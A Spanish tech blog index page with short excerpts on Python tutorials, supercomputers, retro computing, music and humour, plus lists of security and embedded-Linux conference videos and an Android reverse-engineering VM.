Image Fulgurator y proyecta tus ideas a las …

 

 

Una de las acciones contra la visita del Papa en Madrid fue este rotundo NO que nadie veía (a simple vista) pero que las cámaras sí que captaban.

Paloma de la paz sobre la cara de Mao Zedong en la plaza de Tiananmen en Beijing

En el discurso de Barack Obama en Alemania frente a Berlín Siegessäule le pusieron una cruz en el atril.

El Dune de Jodorowsky con Dalí, Orson Wells, Giger …

En una animada cena un poco friki en el Asegur@IT con Niko, me habló sobre una versión de la genial Dune donde, ojo al dato, los diseños de vestuario estarían a cargo de Moebius (realizó casi 3.000), los planetas, gusanos, palacio del Barón, etc a cargo de Giger, las naves espaciales las crearía el genial Chris Foss y la banda sonora estaría cargo de Pink Floyd. ¿Alucinante no?, bueno pues aún queda lo mejor,  el Emperador de la Galaxia sería nada más y nada menos que Dalí y para el Barón Harkonnen el gran Orson Welles.

Darwin Deez "DNA", para este domingo de lluvia por …

Dedicado especialmente a mis amigos/as “chusmeros/as” que andan quemando Madrid este fin de semana ;)

Darwin Deez.

PD: recuerda seguirnos en nuestro canal YouTube donde encontrarás toda la música (y más) que publicamos en CyberHades:

Más Python, creando un programa para resolver …

Gran tutorial donde se explica paso a paso toda la teoría para resolver cualquier sudoku de 9x9 para luego implementarlo en nuestro querido Python.

Para realizarlo, utiliza dos técnicas, una es la llamada "constraint propagation" y la otra es usar algoritmos de búsqueda.

Aquí tienes el programa completo.

Según el autor Peter Norvig (que por cierto, no le gustan los sudokus y dice que son el ataque de Denegación de Servicio humano), los Sudokus más difíciles los puede resolver en 0,01 segundos.

Así son los Top 10 Superordenadores a Noviembre de …

("CIELO", Superordenador Nº6 de la lista)

Te vas a quedar realmente impresionado por estos diez superordenadores que harían temblar al mismísimo HAL900, con su enorme potencial de cálculo. Aunque realmente espectacular son también sus fantásticos diseños. Se acabaron esos superordenadores monolíticos de color negro, ahora se llevan con imágenes de colores, animales, etc.

Aquí están los diez por orden:

1. SUPERCOMPUTER "K" (Japón): es un proyecto de Fujitsu y RIKEN, es el número uno con una potencia de cálculo de 10,51 Petaflops/s usando 705.024 SPARC64 cores, una bestia vamos (esos 10,51 petaflops son una auténtica barbaridad).

Nueva clase online gratuita de Stanford, esta vez …

Ya sabéis que comenzó la clase sobre "Introducción a la IA" de la Universidad de Stanford. No es fácil seguir el temario completo con todos los ejercicios y exámenes, así que de momento nuestro amigo tuxotron es el único que está al día con la asignatura (yo estoy de oyente, sólo tengo los apuntes y los videos, realmente merecen la pena).

Pues ahora parece que les ha gustado la experiencia y están preparando otro curso online pero esta vez sobre Criptografía.

Han & Chewie pose

Visto en HTCARU.

Er docu der finde: Dentro de Google

Mario vs Pacman

 Fuente

World of KrustCraft

World of KrustCraft (en clara alusión a World of Warcraft) es sólo una de las referencias humorísticas que han aparecido en un capítulo de los Simpsons donde visitan una Electronic Entertaiment Expo  (E3) emitido el día 13 de Noviembre en los EEUU.

Aparecen también los Angry Birds pero llamándolos "Furios Fliers", la Xbox es la Ybox, Nintendo es "Funtendo", "Medal of Duty", Grand Theft Scratchy, Guts of War II, etc.

En google también hay vagos... ah! no, que son los …

“Another Lake” y “And Another Lake” son dos lagos de Canada… que tienen agua… y poco más sabemos de ellos. En defensa de google diré que la zona está llena de lagos y tal vez por ello sea el error. Puedes mirarlo tu mismo aquí.

Link

Actualización

Por lo visto, desde 1991, los lagos realmente se llaman así. Se supone que  debido al gran número de ellos que hay en la zona el funcionario encargado de ponerles nombres se cansó :-) Caben pocas explicaciones más.

Interesante listado de enlaces sobre Python

Esta colección de enlaces te puede venir bien si estás desarrollando o aprendiendo el lenguaje Python. Desde una guía a la programación en red con Python, videos y hasta un intérprete de Lisp:

“Must read”:

• The Python yield key­word explained
• Python’s super() con­sid­ered super!
• Under­stand­ing Python Decorators
• What is a meta­class in Python?
• Meta­classes Demystified
• Try/Catch for val­i­da­tion or speed?
• Python (and Python C API): __new__ ver­sus __init__
• Python “self” keyword
• Python and the Prin­ci­ple of Least Astonishment
• A Curi­ous Course on Corou­tines and Concurrency
• Gen­er­a­tor Tricks for Sys­tems Programmers
• Code like a Python­ista: Idiomatic Python (2007)
• The entire Python Mod­ule of the week archive
  • Also see the book — “Python Stan­dard Library by Exam­ple”
• (By me) Python Threads and the global inter­preter lock
• (By me) Get with the pro­gram as con­text manager
• How to write a Lisp inter­preter in Python
• Uni­code in Python, Com­pletely Demystified
• Uni­code for Dum­mies — Just use UTF-8
• Debug­ging in Python
• How to han­dle mul­ti­ple inher­i­tance of ABCs that imple­ment each oth­ers abstract methods
• AOSA: Python Packaging
• 10 Rea­sons Python Rocks for Research (And a Few Rea­sons it Doesn’t)
• Beej’s Guide to Net­work Programming
• How to use Linux epoll with Python
• Python beginner’s Mistakes
• Com­mand Line syn­tax: Some basic Concepts
• Be care­ful with exec and eval in Python
• Dec­o­ra­tors make magic easy
• The detailed guide to “Tim­sort” (which Java adopted, FWIW)
• Notes on opti­miz­ing dictionaries
• How-to guide for Python Descriptors
• Python is Not Java(2004)
  • Java is not Python, either
  • Python Inter­faces are not Java Interfaces

Begin­ner Python:

• http://wiki.python.org/moin/BeginnersGuide/Programmers
• A crash course into Python

Python Style:

• PEP8: The Python Style Guide

Python Books:

• Learn Python the Hard Way
• Dive into Python 3
• A Byte of Python
• Port­ing to Python 3: An in-depth Guide

Python Videos:

• Python Miro Com­mu­nity
  • This con­tains hun­dreds of videos from Python con­fer­ences all over the world includ­ing past PyCons.

Python Classes:

• Inter­me­di­ate and Advanced Soft­ware Car­pen­try in Python (2007)
• Google’s Python class
• Intro­duc­tion to Algo­rithms (with Python)

Python Inter­nals:

• Python’s Innards: Introduction
• Python’s Innards: Objects 101
• Python’s Innards: Objects 102 (And the cor­rec­tion)
• Python’s Innards: Pystate
• Python’s Innards: Naming
• Python’s Innards: Code Objects
• Python’s Innards: Inter­preter Stacks
• Python’s Innards: Hello, ceval.c

Python His­tory:

• Guido Van Rossum’s “Python His­tory” blog (all of it!)
• Inter­faces or Abstract Base Classes (2005)
• Of Python and Road Maps (or the lack thereof)

PyPy:

• Tuto­r­ial: Writ­ing an Inter­preter with PyPy Part 1
• Tuto­r­ial: Writ­ing an Inter­preter with PyPy Part 2: Adding a JIT

Enlace original jessenoller.

Lago Vostok, retomando el trabajo

Alguno se preguntará que por qué si mi último artículo sobre el Lago Vostok (25-11-11) se llamaba: “A pocos metros sobre el Lago Vostok” por qué no han llegado ya al lago. La explicación es sencilla: el invierno antártico se les echó encima a los científicos antes de que terminaran de taladrar. “No nos ha dado tiempo a llegar al lago antes de que la temperatura del hielo antártico comience a descender”, señaló Lukín, subdirector del Instituto de Investigaciones Árticas y Antárticas (IIAA). Como se ve en la imagen, la parte inferior del lago se congela y se hace muy difícil avanzar. “Debido a la alta presión y al descenso de las temperaturas se formaron cristales de hielo que obstruían el avance de la perforadora, lo que nos obligó a suspender la expedición hasta final de año” A mediados de diciembre, si las temperaturas son las idóneas, se retomará la perforación.

¿Creando un sistema Linux embebido?

Si por casualidad estás trabajando en algún proyecto de creación un de un sistema Linux embebido y no estás muy avanzado sigue leyendo, porque como decía un compañero de trabajo: nene, esto te interesa a ti más que a mi :)

Uno de los mayores potenciales de Linux, a parte de poder acceder al código del mismo, es la flexibilidad de poder adaptarlo a cualquier situación. Por ello es que Linux hoy en día nos lo encontramos en cualquier dispositivo electrónico, desde un lector de libros electrónicos, hasta una lavadora.

25 wallpapers. Raros, divertidos e inspiradores

Para los que les gustan los wallpapers que dicen algo "más".

Link 25 wallpapers

Libros técnicos para empezar la semana

Pues eso, si no has planeado nada para la semana, aquí tienes material que te puede interesar:

• Data Compression Explained
• Parallel and Distributed Computation:Numerical Methods
• Matters Computational: Ideas, Algorithms, Source Code [pdf]
• Killer Game Programming in Java
• Programming in Lua (first edition)
• Set Up Your Blog With WordPress: Your Ultimate Guide
• Programming from the Ground Up (PDF)
• Maven: The Complete Reference
• The Hudson Book
• Git Magic (español)
• Programming Forth (PDF)

 

ClubHACK Magazine 22

Ya tenemos disponible un nuevo número de la revista de seguridad ClubHACK. En este número nos encontramos con el siguiente índice:

• 0x00 Tech Gyan - Looking Into the Eye of the Bits
• 0x01 Tool Gyan - Ravan – JavaScript Distributed Computing System
• 0x02 Mom's Guide - Best Practices of Web Application Security
• 0x03 Legal Gyan - Law relating to Cyberterrorism
• 0x04 Matriux Vibhag - OWASP Mantra’s MoC Crawler
• 0x05 Poster - Ravan

Puedes descargarla directamente desde aquí (PDF)

La Informática en 1979 (reportaje de RTVE)

 

Realmente instructivo este video (17 minutos) de RTVE de 1979 donde se habla de la Informática, cuando aún estaba en pañales.

Ojo al minuto 2:51 “…uno de los últimos modelo de ordenador (HP 250) , donde con un solo hombre en un espacio de 1,80 metros cuadrados puede realizar en un minuto una nómina de una empresa de 180 empleados…”

ROSA, corto de Sci-Fi español

 

Creado por Jesús Orellana que está arrasando por todos los festivales por donde pasa.

Visto en io9.

Capital Cities "Safe and Sound", para entrar en …

Capital Cities

Microhistorias: la tarde del domingo 29 de Junio …

La mesa de trabajo en un pequeño cubículo de las oficinas de Hewlett-Packard estaba llena de componentes electrónicos. Uno a uno, los soldó en la placa que él mismo había diseñado sólo en su cabeza, papel y lápiz, no había ordenadores para probar ni para programar.

El cerebro de esa placa era un microprocesador idéntico al Motorola 6800, había planeado instalar el Intel 8080 que estaba de moda, pero era bastante más caro. Esta decisión marcaría el futuro de la empresa que estaba a punto de nacer.

Los Telelepis, del creador de Cálico Electrónico, …

Episodio 1 de Los Telepis:

httpv://youtu.be/kkqSo0p72jM

Siempre hemos sido fan de Cálico Electrónico (fuck yeah!) , y después de conocer en persona a Niko (Nikotxan) en el Asegur@IT 3 en Madrid, ahora también lo somos de él. Aparte de ser un magnífico artista, es una persona increíble con la que te aseguro no puedes estar serio más de un minuto y además transmite un aura de buen rollo a su alrededor espectacular.

En su charla, Niko nos ofreció una magnífica demostración de destreza al usando Flash para realizar animaciones.

Er docu der finde: Historia del espionaje - …

Los otros cazadores de mitos (Infografía)

Fuente

1GB de 1987 vs 1GB de 2009

1GB de 1987 y otro de 2009.

Visto en HowToGeek.

¿La mejor ilusión óptica?

Espectacular desde luego lo es, no es un gif animado.

Visto en Bookfjoe.

Mapa mundial hecho con componentes reciclados de …

Esta es otra forma creativa de reciclar componentes viejos o estropeados.

Puedes ver más imágenes en la entrada original.

Proyecto de programación en Python para organizar …

Excelente proyecto/tutorial de PyroElectro para crear un programa en Python que organice toda tu música en MP3. Para llevar a cabo esta tarea, que nos ahorrará mucho tiempo a la hora de guardar y ordenar nuestros ficheros de audio, se basa en los datos ID3.  El objetivo es abrir cualquier número de ficheros MP3, leer los datos de la etiqueta ID3 y guardarlos según un determinado patrón.

Cómo hacer un paisaje de Ciencia Ficción en menos …

Visto en HowToGeek.

Libro "Máxima Seguridad en Windows: Secretos …

En el pasado Asegur@IT 3 (por cierto publicaré pronto un post sobre este fantástico evento), una de las charlas fue impartida por el gran Sergio de los Santos (también conocido como el hombre que no utiliza Antivirus y es capaz de convencerte que sin usarlos, también puedes proteger tu equipo) donde nos presentó su nuevo libro "Máxima Seguridad en Windows: Secretos Técnicos". Fue una charla espectacular, donde incluso se atrevió a hacer en unos minutos un ejemplo de inyección de código aprovechando un buffer overflow como si tal cosa.

El auténtico Castle Wolfstein (Apple II)

Este es el auténtico Castle Wolfstein para el Apple II, y este el de ID Software:

¿Notas la diferencia? ;)

Evolución del microprocesador (Intel) - Infografía

Fuente

Vídeos de la Embedded Linux Conference Europe 2011

Ya están disponibles todos los vídeos de la conferencia sobre Linux embebido celebrada en Praga, República Checa los pasados 26-28 de octubre.

• Jim Zemlin - Imagine a World Without Linux - full HD (220M), 450×800 (76M)
• Linus Torvalds, Alan Cox, Thomas Gleixner, Paul McKenney - Kernel Developer Panel - full HD (622M), 450×800 (191M)
• Zach Pfeffer - Linaro’s Android Platform - full HD (604M), 450×800 (164M)
• Thomas Gleixner - State of PREEMPT_RT - full HD (374M), 450×800 (147M)
• Jessica Zhang - The Yocto Project Eclipse plug-in: An effective IDE environment for both Embedded Application and System developers - full HD (431M), 450×800 (118M)
• Satoru Ueda - Contributing to the Community? Does your Manager Support You? - full HD (556M), 450×800 (140M)
• Benjamin Zores - Embedded Linux Optimization Techniques: How Not To Be Slow - Slides - full HD (328M), 450×800 (125M)
• Ohad Ben-Cohen - Remote Processor Messaging - Slides - full HD (433M), 450×800 (131M)
• Jeff Osier-Mixon - Collaborative Initiatives in Embedded Linux - full HD (266M), 450×800 (73M)
• Karim Yaghmour - Leveraging Android’s Linux Heritage - full HD (419M), 450×800 (168M)
• Pierre Tardy - Using pytimechart For Real World Analysis - Slides - full HD (495M), 450×800 (132M)
• Arnd Bergmann - Optimizations for Cheap Flash Media - full HD (524M), 450×800 (146M)
• Vitaly Wool - Saving Power with Wi-Fi: How to Prolong Your Battery Life and Still Stay Connected - Slides - full HD (371M), 450×800 (143M)
• David Stewart - Developing Embedded Linux Devices Using the Yocto Project and What’s new in 1.1 - Slides - full HD (370M), 450×800 (124M)
• Tetsuyuki Kobayashi - Android is NOT Just “Java on Linux” - Slides - full HD (542M), 450×800 (129M)
• Thomas Petazzoni - Using Buildroot For a Real Project - Slides - full HD (408M), 450×800 (156M)
• Tim Bird - Status of Embedded Linux BoFs - Slides - full HD (877M), 450×800 (213M)
• Lauro Ramos Venancio and Samuel Ortiz - The Linux NFC Subsystem - Slides - full HD (229M), 450×800 (87M)
• David Anders - Board Bringup: LCD and Display Interfaces - Slides - full HD (242M), 450×800 (98M)
• Antti Aumo - Re-Defining the Cloud Phone - full HD (360M), 450×800 (108M)
• Dirk Hohndel - Reflection on 20 Years of Linux - full HD (235M), 450×800 (92M)
• Grant Likely - Device Tree Status Report - full HD (775M), 450×800 (178M)
• Laurent Pinchart - Success Story of the Open-Source Camera Stack: The Nokia N9 Case - Slides - full HD (308M), 450×800 (120M)
• Avinash Mahadeva and Vishwanth Sripathy - SOC Power Management – Debugging and Optimization Techniques - full HD (288M), 450×800 (108M)
• Rafael J. Wysocki - Power Management Using PM Domains on SH7372 - Slides - full HD (692M), 450×800 (157M)
• Sascha Hauer - A Generic Clock Framework in the Kernel: Why We Need It and Why We Still Don’t Have It - full HD (345M), 450×800 (134M)
• Ruud Derwig - Android Platform Optimizations - Slides - full HD (266M), 450×800 (105M)
• Inki Dae - DRM Driver Development For Embedded Systems - Slides - full HD (367M), 450×800 (91M)
• Lorenzo Pieralisi - Consolidating Linux Power Management on ARM Multiprocessor Systems - Slides - full HD (283M), 450×800 (113M)
• Thomas Petazzoni - Using Qt For Non-Graphical Applications - Slides - full HD (340M), 450×800 (124M)
• Marek Szyprowski and Kyungmin Park - ARM DMA-Mapping Framework Redesign and IOMMU Integration - Slides - full HD (790M), 450×800 (195M)
• Keerthyd Jagadeesh and Vishwanath Sripathy - Thermal Framework for ARM based SOCs - full HD (316M), 450×800 (113M)
• Marc Titinger - Efficient JTAG-Based Linux Kernel Debugging - Slides - full HD (382M), 450×800 (141M)
• Tsugikazu Shibata - Toward the Long Term Stable Kernel tree for The Embedded Industry - full HD (606M), 450×800 (145M)
• Lisko Lappalainen - Secure Virtualization in Automotive - full HD (301M), 450×800 (116M)
• Jeff Osier-Mixon Yocto Project Community BoFs - full HD (451M), 450×800 (167M)
• Jon Corbet - The Kernel Report: 20th Anniversary Edition - full HD (218M), 450×800 (88M)
• Wim Coekaerts - Engineered Systems With Linux - full HD (175M), 450×800 (68M)
• Andrea Gallo - ARM Linux Kernel Alignment and Benefits For Snowball - Slides - full HD (394M), 450×800 (133M)
• Liam Girdwood and Peter Ujfalusi - Smart Audio: Next-Generation A SoC For Smart Phones - full HD (367M), 450×800 (124M)
• Pawel Moll Linux on Non-Existing SoCs - full HD (483M), 450×800 (143M)
• Koen Kooi - Integrating systemd: Booting Userspace in Less Than 1 Second - Slides - full HD (343M), 450×800 (125M)
• Sylvain Leroy and Philippe Thierry - Grsecurity in Embedded Linux Used in Android Operating System - Slides - full HD (384M), 450×800 (110M)
• MyungJoo Ham Charger Manager: Aggregating Chargers, Fuel-Gauges and Batteries - Slides - full HD (434M), 450×800 (109M)
• Arnd Bergmann - News From the ARM Architecture - full HD (421M), 450×800 (150M)
• Frank Rowand How Linux PREEMPT_RT Works - Slides - full HD (378M), 450×800 (135M)
• Catalin Marinas - Linux Support for the ARM Large Physical Address Extensions - Slides - full HD (594M), 450×800 (170M)
• Jim Huang - Build Community Android Distribution and Ensure the Quality - full HD (472M), 450×800 (143M)
• Till Jaeger - The Case AVM v. Cybits: The GPL and Embedded Systems - full HD (362M), 450×800 (124M)
• Darren Hart Tuning Linux For Embedded Systems: When Less is More - Slides - full HD (482M), 450×800 (135M)
• Wolfram Sang Developer’s Diary: It’s About Time - full HD (482M), 450×800 (141M)

Fuente

¿Cómo puede alguien todavía odiar a Bill Gates?

Bill Gates es el malo en la nueva biografía de Steve Jobs.

Y eso no es justo.

Mientras que a Steve Jobs se le define de revolucionario, showman, genio, etc, a Bill se le tacha de aburrido geek anti-tecnología con la única idea de hacer dinero (como si todo el software/hardware de Apple fuera gratis).

Bill Gates ya estaba revolucionando el mundo de la informática a la vez que Steve Wozniak y Steve Jobs fabricaban su ordenador en el mítico garaje (creando el BASIC para el Altair). Fue Bill Gates el que realmente puso un ordenador accesible a todos en cada escritorio al hacer un Sistema Operativo compatible con los ordenadores que más se vendían en la época (IBM PC), revolucionó con el entorno Windows (recordemos que AMBOS se lo quitaron a Xerox y lo moldearon a su gusto), etc. También hay acusaciones de monopolio y aniquilación de la compentencia ¿es que Apple no lo ha hecho también?. Y sobre la famosa frase "es que mi Mac no se cuelga nunca", hay que recordar que es más fácil hacer un sistema operativo para un entorno cerrado de hardware como el de Apple (por eso hay menos problemas, ellos lo controlan todo hardware y software) que hacer otro compatible con prácticamente todos los ordenadores del mercado, esto también tiene su mérito.

The Echelon Effect "Your First Light My Eventide", …

Siéntate en el sillón con tu taza de café, relájate y disfruta …

Y de regalo “Heading Over to Summer”:

The Echelon Effect, geniales.

101 BASIC Computer Games, libro completo (retro)

Puede que no sea muy útil ahora pero siempre viene bien echar un vistazo atrás y ver joyas como esta. El libro llamado "101 Basic Computer Games" (David H. Ahl) se escribió nada menos que en 1973  y estaba destinado a los ordenadores DEC, aunque la edición que podemos ver ahora es de 1978 y se amplió para adaptarlo a nuevos ordenadores de la época (aunque es BASIC, es bastante fácil de escribir en cualquier ordenador).

Siri vs Furby

De la unión Siri y Furby, nació SkyNet ;)

Visto en TheAwesomer.

El código fuente de Doom 3 a punto de ver la luz

De acuerdo con un tweet de John Carmack, el código fuente de Doom 3 está probado, empaquetado y listo para su liberación, sólo a falta del visto de bueno de los abogados.

Esta es sin duda una gran noticia, ya que todos conocemos la calidad del trabajo de Carmack y su equipo.

Fuente

SOURCE, conferencias y talleres de seguridad en …

No te pierdas este evento llamado SOURCE , la primera y única conferencia que combina prácticas de tecnología y seguridad con el propio negocio de la seguridad.

Con especial atención a los detalles y un énfasis en la calidad e innovación de sus contenidos, SOURCE está comprometida con la divulgación de información en un ambiente dinámico y divertido.

SOURCE Barcelona 2011 tendrá lugar en el Museu Nacional D'art de Catalunya en Barcelona (España). Los trainings se llevarán a cabo durante los días 14 y 15 de noviembre, y la conferencia tendrá lugar del 16 de noviembre al 17.

Er docu der finde: La historia del espionaje - …

Popurrí de vídeo tutoriales

La web del Everyman IT, o como diría uno de Cádiz: el nota sabe un bastinaso de ordenadores, podemos encontrar una gran cantidad de vídeo tutoriales que tocan una amplia variedad de temas relacionados con la informática.

Para que te hagas una idea, esto son los temas de vídeos a los que podemos acceder de forma gratuita:

• Business Topics
• Buying Advice
• Computer Security /Integrity
• Computer Repair
• Data Recovery
• Hacking
• Linux
• Networking
• Servers
• Telephone Systems
• Virtual and Cloud Computing
• Web Marketing
• Web Design
• Web Publishing

Ya sabes a dónde tienes que mandar al que te viene diciendo que tiene un problema con el ordenador y que le enseñes algo... No seas mal pensado!

Vim cumplió ayer 20 años ¡qué haríamos sin él!

El editor de textos Vim salió a la luz el día 2 de noviembre de 1991. Inicialmente sólo era un clon de vi para el Amiga, pero pronto se expandió a otras plataformas convirtiéndose en el editor de textos compatible con vi más conocido y utilizado.

¿Por qué seguimos usando Vim?, yo desde luego no podría estar sin usarlo, aunque ahora cada vez más utilizo nano como editor de textos en Linux. Pero si quieres editar un fichero en cualquier distribución Linux y no quieres volverte loco con vi, Vim es tu mejor opción.

Google ya indexa comentarios de Facebook

Imágen de DigitalInspirations

Ya lo dijo Matt Cutts:

Googlebot es cada vez más inteligente.  Ahora tiene la habilidad de ejecutar AJAX/JavaScript para indexar algunos comentarios dinámicos..

Antes no podía ya que estaban en JavaScript y en un iFrame, que lo hacía invisible al Bot de Google.

Visto en CodigoGeek.

SC2 AI, el bot que podría ganar a un humano al …

Pues sí amigos, puede que la supremacía humana se ha terminado en otro juego más, ahora el último ha sido StarCraft 2. SC2 AI es un nuevo jugador (bot) no humano que está diseñado para pelear codo a codo en el juego de Blizzard. Además funciona a la vieja escuela, igual que un humano, podemos decir que también ve perfectamente la pantalla y decide en función  a la información que recibe. Utiliza las APIs (luego verás como) del juego y toma capturas de pantalla (a gran velocidad)  y reacciona en función a lo que está viendo. Tiene información sobre los recursos que le queda y sabe si tiene suficiente para construir una unidad o un edificio.

I Believe I Can Fly (video)

 

Si tienes vértigo, no veas este video.

Espectacular.

Sistema de ingeniería inversa para Android

ARE o Android Reverse Engineering es un sistema dedicado exclusivamente para el análisis e ingeniería inversa de aplicaciones Android.

Viene en forma de máquina virtual, Ubuntu, para VirtualBox. Es un proyecto que prácticamente acaba de ver la luz, pero viene, quizás, con las mejores herramientas de análisis de aplicaciones APK. Entre ellas:

• Androguard
• Android sdk/ndk
• APKInspector
• Apktool
• Axmlprinter
• Ded
• Dex2jar
• DroidBox
• Jad
• Smali/Baksmali

El wiki del proyecto lo tienes aquí y desde aquí (4.2 GB) te puedes descargar la máquina virtual.

Analizando y visualizando una página web en 3D con …

Espectacular plugin llamado Tilt que visualiza una página web en 3D mostrando en relieve toda su estructura (DOM). Es muy útil para encontrar problemas en el código HTML al ofrecerte un nuevo punto de vista en 3D basado en capas del DOM (usa un código de colores para cada componente y capa de la web).

Curso online sobre Python

Aquí tenéis una lista vídeos magníficos si os queréis iniciar y/o profundizar en la programación en Python:

• Video: Python Fundamentals Training - Classes
• Video: Python Fundamentals Training - Functional Programming
• Video: Python Fundamentals Training - doctest
• Video: Python Training - Working with Files: File I/O
• Video: Python Fundamentals Training - Built-in Filter Function
• Video: Python Fundamentals Training - More on Functions
• Video: Python Fundamentals Training - Defining Functions
• Video: Python Fundamentals Training - More Container Types: Tuples,...
• Video Tutorial: Python Fundamentals - Advanced Container Types
• Video Tutorial: Python Fundamentals Training - Getting Started with...
• Tutorial: Python Debugging with pdb
• Video: Future of Django with Core Developer Alex Gaynor
• Video: Introduction to Git with Scott Chacon of GitHub
• Video: Writing Titanium Desktop Applications in Python
• Video: Implementing Mix-ins in Python
• Comprehensions Examples
• Examples about using the __name__ variable
• Why Python

Fuente

Ya tardaba, iris 9000 un gadget de HAL 9000 para …

Altavoz (y amplificador) con base para el iPhone 4S (Siri) con forma de HAL 9000. Tiene un led rojo que brilla cada vez que habla y puedes darle órdenes por toda la habitación.

Genial, sólo falta conseguir la voz original de HAL e instalarla en el iPhone.

Liz Anjos, "1979" una versión especial para este …

Genial versión del clásico de los Smashing Pumpkins "1979" realizada por Liz Anjos.

Aquí el clásico:

Er docu der finde: La historia del espionaje - …

El futuro según Microsoft

Impresionante video de Microsoft donde se muestran algunos de los conceptos tecnológicos que posiblemente veremos implementados en los próximos años.

Visto en TheNextWeb.

Vídeos de la SECTOR 2011

Ya podemos acceder a los vídeos de la SECTOR 2011, conferencia sobre seguridad celebrada en Toronto, Canadá. Ésta se celebro el pasado 17-19 de Octubre. Las presentaciones, aunque faltan bastantes también están disponibles desde la web oficial.

• Trust_me-I_am_a_cloud_vendor-Bruce_Cowper.wmv
• Thinking_Differently-Bringing_the_Hacker_Mindset_to_the_Corporate_Environment-Joe_Grand.wmv
• Online Espionage - Mikko Hypponen.wmv
• TheBizarre_Business_of_Rogue_Internet_Pharmacies-Brian_Krebs.wmv
• Near Field Communications (NFC) mobile security for those with No F'ing Clue - Corey Benninger and Max Sobell.wmv
• FireShark - A Tool to Link the Malicious Web - Stephan Chenette.wmv
• Finding Evil in Live Memory - Michael J Graven.wmv
• What is an APT without a sensationalist name - Seth Hardy.wmv
• Time and Place - Finding Evil with Atemporal Time Line Analysis - Dave Hull.wmv
• A Replicant by Any Other Name - A Security Analysis of the BlackBerry PlayBook - Zach Lanier and Ben Nell.wmv
• I'm Your MAC(b)Daddy - Grayson Lenik.wmv
• HTTP Header Hunter - Looking for malicious behavior into your http header traffic - Rodrigo Montoro.wmv
• A Technical View on Cloud Security - How Not To Get Your Undies In A Bunch aka Please Don't Squeeze The Charmin - David Mortman.wmv
• Targeted and Opportunistic Botnet Building - Gunter Ollmann.wmv
• Malware FreakShow - Nicholas J Percoco and Jibran Ilyas.wmv
• Sniper Forensics v3.0 - Hunt - Chris Pogue.wmv
• Bust a Cap in an Android App - Patrick Szeto and Maxim Veytsman.wmv
• Wireless Hacking Techniques and Tips - Kent Woodruff.wmv
• FACEROUTE - Mapping and Harvesting Social Media Sites - Rob VandenBrink.wmv
• Security When Nanoseconds Count - James Arlen.wmv
• It's Not About the Warm Fuzzy – How to Plan for a Comprehensive Penetration Exercise - Kai Axford.wmv
• The Search for Intelligent Life - Ed Bellis.wmv
• Built What - Why The Bad Guys Do It Better - Sean Bodmer.wmv
• Change Happens - CISO Survival Through Adaptation - Jack Daniel, David Mortman, Gal Shpantzer, Michael Smith and Stacy Thayer.wmv
• Binary Risk Analysis - Ben Sapiro.wmv
• Cubical Warfare - The next Arms Race - Jason Kendall.wmv
• Incident Response Kung fu - Tree Style - Jason Kendall.wmv
• Disc Detainer Locks - Schuyler Towne.wmv
• Best Practices in Network Security Testing - Areg Alimian.wmv
• Walking on the Crocs back – when security measures fail - Travis Barlow.wmv
• Mapping The Penetration Tester's Mind – An introduction to a pentester's approach to security audits - Nicholas Donarski.wmv
• Detecting The Insider Threat – Finding The Needle in Stack of Needles - Omar Garcia.wmv
• Earth vs. The Giant Spider - Amazingly True Stories of Real Penetration Tests - Nick Percoco.wmv
• Be Ready for IPv6 Migration and Beyond - Cricket Liu.wmv
• Evolution of Digital Forensics - Jason Mical.wmv
• Anatomy of a Data Breach - Exploring the Current Threat Landscape - Paul Pinkney.wmv
• Think outside the enterprise security box - John Trollinger.wmv
• Information Security and Risk pertaining to smart phone and mobile devices - Nicholas Wetton.wmv

Macs de alquiler

Si necesitas usar un Mac de forma temporal para algún tipo de proyecto o tarea que de repente te viene a las manos y no tienes uno de estos sistemas y además no te quieres/puedes permitir el comprarte uno o quieres comprarte uno, pero primero quieres familiarizarte con él, o… o… , no te preocupes, ahora puedes alquilar uno… en la NUBE!

Pues eso, MacinCloud es un servicio de alquiler de Macs en la nube que te provee un Mac totalmente funcional. Además puedes acceder a él desde tu iPhone o iPad, aparte de tu ordenador de escritorio.

El catálogo de regalos de Apple en 1983 (retro)

No te pierdas esta selección de regalos de Apple de 1983, verás desde pegatinas hasta broches con la manzanita, tazas, camisetas, etc.

Yo creo que si lo sacan otra vez hoy día tal y como está, se vende todo como rosquillas … rectifico, si Apple SACA CUALQUIER COSA, se vende como rosquillas ;)

Genial vintage.

Visto en TheBlackHarbor.

Diablo III, Black Soulstone

Diablo III

Vídeos de la Defcon 19

Ya están disponibles los vídeos de la Defcon 19:

• Dark Tangent and LosTboY - Welcome and Making of the DEF CON Badge
• Panel - Network Security Podcast
• Panel - Meet The Federal Agent 2.0
• Abstrct - When Space Elephants Attack A DEFCON Challenge for Database Geeks
• Chema Alonso and Juan Garrido - Bosses Love Excel Hackers Too
• Chema Alonso and Juan Garrido - Dust Your Feed RSS Belongs To You! Avoid Censorship!
• Sterling Archer and Freaksworth - IP4 TRUTH The IPocalypse is a LIE
• James Myrcurial Arlen - Security When Nano Seconds Count
• Mike Arpaia and Ted Reed - Beat to 1337 Creating A Successful University Cyber Defense Organization
• Adam Baldwin - Pillaging DVCS Repos For Fun And Profit
• Barisani Laurie Franken and Bianco - Chip and PIN is Definitely Broken
• Bruce Grymoire Barnett - Deceptive Hacking How Misdirection Can Be Used To Steal Information Without Being Detected
• Olivier Bilodeau - Fingerbank Open DHCP Fingerprints Database
• Olivier Bilodeau - PacketFence The Open Source Nac What Weve Done In The Last Two Years
• Emmanuel Bouillon - Federation and Empire
• Sam Bowne - Three Generations of DoS Attacks
• David Bryan and Luiz Eduardo - Building The DEF CON Network Making A Sandbox For 10000 Hackers
• Jeff Bryner - Kinectasploit Metasploit Meets Kinect
• Jamie Butler - Physical Memory Forensics for Cache
• Carey Rude and Vandevanter - Metasploit vSploit Modules
• George Chamales - Lives On The Line Securing Crisis Maps In Libya Sudan And Pakistan
• Ming Chow - Abusing HTML5
• Mouse and Renderman - Familiarity Breeds Contempt
• Christopher Cleary - Operational Use of Offensive Cyber
• Tyler Cohen - Look At What My Car Can Do
• Kees Cook - Kernel Exploitation Via Uninitialized Stack
• Greg Conti - The Art and Science of Security Research
• Paul Craig - Internet Kiosk Terminals The Redux
• Adrian Crenshaw - Cipherspaces Darknets An Overview Of Attack Strategies
• Daniel Crowley - Speaking with Cryptographic Oracles
• Phil Cryer - Taking Your Ball And Going Home Building Your Own Secure Storage Space That Mirrors Dropbox Functionality
• Panel - PCI 2 Still Compromising Controls and Compromising Security
• Panel - Former Keynotes The Future
• datagram - Introduction to Tamper Evident Devices
• Ganesh Devarajan and Don LeBert - VDLDS All Your Voice Are Belong To Us
